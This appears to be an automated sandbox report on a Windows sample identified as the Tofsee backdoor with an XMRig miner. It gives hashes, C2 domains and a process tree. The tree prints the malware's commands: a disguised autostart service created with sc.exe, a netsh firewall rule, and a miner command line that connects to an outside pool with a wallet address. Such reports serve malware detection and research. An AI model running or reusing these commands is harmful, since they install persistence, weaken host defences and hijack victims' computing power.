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Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    01/10/2023, 17:22

General

  • Target

    file.exe

  • Size

    244KB

  • MD5

    027fd7f7551f40b72a612f94da41d973

  • SHA1

    2ea4f739bcef8c60408fa47bd641053ae855b236

  • SHA256

    9119602dc4b71bdd06f4152572f2a903c003482a90aa53fedfe36d786c318a4b

  • SHA512

    f45138da44de13e76bddd11ca5779a377c5ae43bc7917380c3b8e8f3af6b896578241eb8d9b460453678eebb926ed822fab247fd52fb1b05c3430d308d6b48d3

  • SSDEEP

    3072:xtXrSmy3Cfw2n8vzb3MEdH+6YCFGOXXB5mpVdm3Hg52B4QwJrYTq:7jNvn83BpFBApSrVwYTq

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ztapkjjt\
      2⤵
        PID:2980
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rdtgutlp.exe" C:\Windows\SysWOW64\ztapkjjt\
        2⤵
          PID:2596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ztapkjjt binPath= "C:\Windows\SysWOW64\ztapkjjt\rdtgutlp.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ztapkjjt "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ztapkjjt
          2⤵
          • Launches sc.exe
          PID:2636
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2956
      • C:\Windows\SysWOW64\ztapkjjt\rdtgutlp.exe
        C:\Windows\SysWOW64\ztapkjjt\rdtgutlp.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2620
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2912
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1652

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\rdtgutlp.exe

        Filesize

        13.9MB

        MD5

        098b96e2d2db731e8c6992e2f05e5529

        SHA1

        6b14cacbc335973d4568ab9ff033573510bb9bbe

        SHA256

        52adb4e3b2ef951a8e623afac32003f6f62a230335eea230c66e8a674798d58d

        SHA512

        89d57668b4479a0711ff4c95edfb2b4584d23503bacc76941b35087b746c8f0887cf3c94ebfca3081b7429d1b01e7ae9620fb423cc91853bba5968a79827f923

      • C:\Windows\SysWOW64\ztapkjjt\rdtgutlp.exe

        Filesize

        13.9MB

        MD5

        098b96e2d2db731e8c6992e2f05e5529

        SHA1

        6b14cacbc335973d4568ab9ff033573510bb9bbe

        SHA256

        52adb4e3b2ef951a8e623afac32003f6f62a230335eea230c66e8a674798d58d

        SHA512

        89d57668b4479a0711ff4c95edfb2b4584d23503bacc76941b35087b746c8f0887cf3c94ebfca3081b7429d1b01e7ae9620fb423cc91853bba5968a79827f923

      • memory/1652-74-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-61-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-63-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1652-71-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-72-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-73-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-76-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/1652-75-0x00000000001A0000-0x0000000000291000-memory.dmp

        Filesize

        964KB

      • memory/2620-9-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2620-16-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2824-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2824-6-0x0000000000260000-0x0000000000273000-memory.dmp

        Filesize

        76KB

      • memory/2824-7-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/2824-5-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2824-2-0x0000000000400000-0x000000000044A000-memory.dmp

        Filesize

        296KB

      • memory/2824-1-0x0000000000260000-0x0000000000273000-memory.dmp

        Filesize

        76KB

      • memory/2912-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-33-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-29-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-32-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-48-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/2912-49-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2912-52-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

      • memory/2912-53-0x0000000005390000-0x000000000579B000-memory.dmp

        Filesize

        4.0MB

      • memory/2912-56-0x0000000005390000-0x000000000579B000-memory.dmp

        Filesize

        4.0MB

      • memory/2912-57-0x0000000000240000-0x0000000000247000-memory.dmp

        Filesize

        28KB

      • memory/2912-26-0x00000000000C0000-0x00000000000C6000-memory.dmp

        Filesize

        24KB

      • memory/2912-25-0x00000000017E0000-0x00000000019EF000-memory.dmp

        Filesize

        2.1MB

      • memory/2912-22-0x00000000017E0000-0x00000000019EF000-memory.dmp

        Filesize

        2.1MB

      • memory/2912-21-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/2912-19-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/2912-18-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/2912-13-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB

      • memory/2912-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2912-10-0x0000000000110000-0x0000000000125000-memory.dmp

        Filesize

        84KB